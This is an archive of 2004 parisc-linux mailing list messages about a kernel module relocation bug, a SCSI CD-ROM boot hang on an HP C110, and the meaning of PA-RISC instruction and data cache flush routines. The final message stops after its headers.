Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel module relocation bug
Date: Fri, 26 Nov 2004 22:47:10 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <20041127064710.GL9148@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623604 11817 80.91.229.3 (22 Nov 2014 02:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6697 invoked by uid 65534); 27 Nov 2004 06:47:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 27 Nov 2004 07:47:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2B1803BE33; Fri, 26 Nov 2004 23:47:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15968-06; Fri, 26 Nov 2004 23:47:40 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 111543BE2E; Fri, 26 Nov 2004 23:47:19 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 964DE3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 23:47:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14178-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 23:47:12 -0700 (MST)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 10E243BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Nov 2004 23:47:12 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E2115CDF4F; Fri, 26 Nov 2004 22:47:10 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22139

currently the kernel module loader does not support long branch stubs.
using the debian 2.6.8-1 kernel, when loading the ipv6 module, i see:

legolas[6:43] linux-2.6% sudo modprobe ipv6
FATAL: Error inserting ipv6 (/lib/modules/2.6.8-1-32-smp/kernel/net/ipv6/ipv6.ko): Invalid module format

in syslog, i get:
module ipv6 relocation of symbol fold_prot_inuse is out of range (0x3ffeffe2 in 17 bits)

these are the other modules i have loaded at the moment:

legolas[6:26] linux-2.6% lsmod
Module                  Size  Used by
ehci_hcd               58788  0
ohci_hcd               41924  0
usbcore               121084  2 ehci_hcd,ohci_hcd
tulip                  65468  0
ad1889                 19524  0
soundcore              13828  1 ad1889
ac97_codec             24876  1 ad1889
tg3                   107760  0
ext3                  135588  2
jbd                   103960  1 ext3
sd_mod                 24416  5
sym53c8xx             105004  4

the kernel i have is:
Linux legolas 2.6.8-1-32-smp #1 SMP Tue Nov 2 13:07:05 MST 2004 parisc
GNU/Linux

to fix this we will probably need to introduce long branch stubs into 
into the kernel module loader. anybody want to give this a shot?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c110: kernel 2.6.10-rc1-pa17 pb to boot if a cdrom
	is in the drive
Date: Sat, 27 Nov 2004 19:34:24 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <41A8D6C0.7000306@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623604 11819 80.91.229.3 (22 Nov 2014 02:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:24 +0000 (UTC)
To: maillist parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16432 invoked by uid 65534); 27 Nov 2004 19:35:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 27 Nov 2004 20:35:11 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 80EC63BDDA; Sat, 27 Nov 2004 12:35:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24219-05; Sat, 27 Nov 2004 12:35:05 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 000C43BE33; Sat, 27 Nov 2004 12:34:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 161ED3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 12:34:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24120-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 12:34:26 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 671213BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Nov 2004 12:34:26 -0700 (MST)
Original-Received: from [83.134.227.59] (helo=[83.134.227.59])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CY8Kv-0000n3-6p; Sat, 27 Nov 2004 20:34:25 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22140

Hello all,

I grab a support+ cdrom to test a scsi disk of model "SEAGATE ST34573W" with ode diskutil.

As it didn't detect any disk read error, I want to reboot linux kernel on my c110 but I forget to remove the cdrom from it's drive.
And I got following pb when I reboot linux (kernel 2.6.10-rc1-pa10:
[...]
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
   Vendor: HP        Model: DVD-ROM 6x/32x    Rev: 1.08
   Type:   CD-ROM                             ANSI SCSI revision: 02
  target1:0:0: Beginning Domain Validation
scsi1: (0:0) Asynchronous
scsi1: (0:0) Synchronous at offset 8, period 100ns
  target1:0:0: Echo buffer size 5280 is too big, trimming to 4096
  target1:0:0: Domain Validation detected failure, dropping back
scsi1: (0:0) Synchronous at offset 8, period 152ns
  target1:0:0: Domain Validation detected failure, dropping back
scsi1: (0:0) Synchronous at offset 8, period 252ns
  target1:0:0: Domain Validation detected failure, dropping back
scsi1: (0:0) Synchronous at offset 8, period 400ns
scsi1 (0:0) New error handler wants to abort command
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants device reset
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants BUS reset, cmd 2fd1ab60
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1: Bus Reset detected, executing command 2fd1ab60, slot 2fd70520, dsp 001d8528[0528]
  failing command because of reset, slot 2fd70520, cmnd 2fd1ab60
scsi1 (0:0) broken device is looping in contingent allegiance: ignoring
scsi1 (0:0) New error handler wants to abort command
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants device reset
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants BUS reset, cmd 2fd1ab60
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1: Bus Reset detected, executing command 2fd1ab60, slot 2fd70520, dsp 001d8528[0528]
  failing command because of reset, slot 2fd70520, cmnd 2fd1ab60
scsi1 (0:0) broken device is looping in contingent allegiance: ignoring
scsi1 (0:0) New error handler wants to abort command
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants device reset
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1 (0:0) New error handler wants BUS reset, cmd 2fd1ab60
         scsi1 : destination target 0, lun 0
         command = 0x03 00 00 00 60 00
scsi1: Bus Reset detected, executing command 2fd1ab60, slot 2fd70520, dsp 001d8528[0528]
  failing command because of reset, slot 2fd70520, cmnd 2fd1ab60
scsi1 (0:0) broken device is looping in contingent allegiance: ignoring
scsi1 (0:0) broken device is looping in contingent allegiance: ignoring
  target1:0:0: Domain Validation detected failure, dropping back
scsi1: (0:0) Synchronous at offset 0, period 0ns
  target1:0:0: Domain Validation detected failure, dropping back
scsi1: (0:0) Asynchronous
  target1:0:0: Domain Validation Failure, dropping back to Asynchronous
  target1:0:0: Ending Domain Validation
   Vendor: SEAGATE   Model: ST34573W          Rev: HP11
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target1:0:3: Beginning Domain Validation

until I remove the cdrom then it continue the boot:
scsi1: (3:0) Asynchronous
scsi1: (3:0) Enabling Tag Command Queuing
scsi1: (3:0) Synchronous at offset 8, period 100ns
  target1:0:3: Domain Validation skipping write tests
  target1:0:3: Ending Domain Validation
...

Any idea?

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [id]cache meaning? [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Sun, 28 Nov 2004 21:01:42 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <41AA3CB6.5070407@tiscali.be>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623604 11820 80.91.229.3 (22 Nov 2014 02:33:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4501 invoked by uid 65534); 28 Nov 2004 21:03:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 28 Nov 2004 22:03:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C94C13BE45; Sun, 28 Nov 2004 14:03:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04066-09; Sun, 28 Nov 2004 14:02:37 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 037DD3BE47; Sun, 28 Nov 2004 14:01:52 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC1B63BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:01:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04066-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:01:47 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 2E5D23BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:01:47 -0700 (MST)
Original-Received: from [83.134.227.242] (helo=[83.134.227.242])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CYWAy-0000cv-0U; Sun, 28 Nov 2004 22:01:44 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041111081154.GR15714@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22141

Hello all,


Randolph Chung wrote:
>>I've collect two profiles for -64SMP and will collect
>>some UP profiles tomorrow. profiles so far are measuring
>>a full kernel build. I expect I'll do the same for -64UP
>>kernels too.
> 
> 
> hmm.. interesting. top consumers are (with idle loop functions removed)
> 
>  40646 flush_kernel_icache_page                 406.4600
>   7364 fdsync                                   368.2000
>  10567 flush_user_dcache_range_asm              293.5278
>  10387 flush_user_icache_range_asm              288.5278

I have additional question about such functions:

	* in parisc above ..._dcache_... refer well to data cache?
	* and respectively ..._icache_... refer to instruction cache?

Have they different meaning for generic linux?

The confusion came for me from:

include/asm-parisc/cacheflush.h:
[...]
#define flush_icache_page(vma,page)   do { flush_kernel_dcache_page(page_address(page)); 
flush_kernel_icache_page(page_address(page)); } while (0)
[...]

Thanks again,
	Joel

PS: I didn't suspect any error, I am just confused :(


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [id]cache meaning? [Was: [parisc-linux] 2.6.10-rc1-pa11 profile
	data]
Date: Sun, 28 Nov 2004 21:13:03 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20041128211303.GP29035@parcelfarce.linux.theplanet.co.uk>
References: <20041111075431.GB9768@colo.lackof.org>
	<20041111081154.GR15714@tausq.org> <41AA3CB6.5070407@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623605 11826 80.91.229.3 (22 Nov 2014 02:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5432 invoked by uid 65534); 28 Nov 2004 21:13:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 28 Nov 2004 22:13:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 789453BE47; Sun, 28 Nov 2004 14:13:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05702-05; Sun, 28 Nov 2004 14:13:37 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EBE013BE49; Sun, 28 Nov 2004 14:13:11 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1134C3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:13:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05702-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:13:06 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 6C7343BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 14:13:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CYWLv-0002h8-TQ; Sun, 28 Nov 2004 21:13:04 +0000
Content-Disposition: inline
In-Reply-To: <41AA3CB6.5070407@tiscali.be>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22142

On Sun, Nov 28, 2004 at 09:01:42PM +0000, Joel Soete wrote:
> I have additional question about such functions:
> 
> 	* in parisc above ..._dcache_... refer well to data cache?
> 	* and respectively ..._icache_... refer to instruction cache?
> 
> Have they different meaning for generic linux?

No, your understanding is correct (see Documentation/cachetlb.txt)

> The confusion came for me from:
> 
> include/asm-parisc/cacheflush.h:
> [...]
> #define flush_icache_page(vma,page)   do { 
> flush_kernel_dcache_page(page_address(page)); 
> flush_kernel_icache_page(page_address(page)); } while (0)
> [...]

I see why this confuses you.  PA-RISC has writeback data caches that
are non-coherent with the instruction cache.  So it's not enough to
just flush the icache; if the page has been modified, we need to force
the data in the dcache back to ram, then remove any existing cache for
instructions in that page.  Then instruction accesses to that page will
fetch the correct data from memory and everything will work.

Many other architectures have writethrough data caches.  They don't need
to flush the dcache.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [id]cache meaning? [Was: [parisc-linux] 2.6.10-rc1-pa11 profile
	data]
Date: Sun, 28 Nov 2004 19:14:14 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <200411281914.14917.mszick@wolfbutter.com>
References: <20041111075431.GB9768@colo.lackof.org>
	<41AA3CB6.5070407@tiscali.be>
	<20041128211303.GP29035@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623605 11827 80.91.229.3 (22 Nov 2014 02:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30139 invoked by uid 65534); 29 Nov 2004 01:16:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 29 Nov 2004 02:16:37 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0B0FB3BE47; Sun, 28 Nov 2004 18:16:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06374-04; Sun, 28 Nov 2004 18:16:12 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 735263BE49; Sun, 28 Nov 2004 18:14:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BB643BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 18:14:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06374-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 18:14:19 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 6CC2B3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 18:14:18 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	iAT1EH7U079753 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Nov 2004 17:14:17 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [67.77.198.69] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id CTL33wm5
	authenticated by SMTP; Sun, 28 Nov 2004 17:14:16 -0700 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <20041128211303.GP29035@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
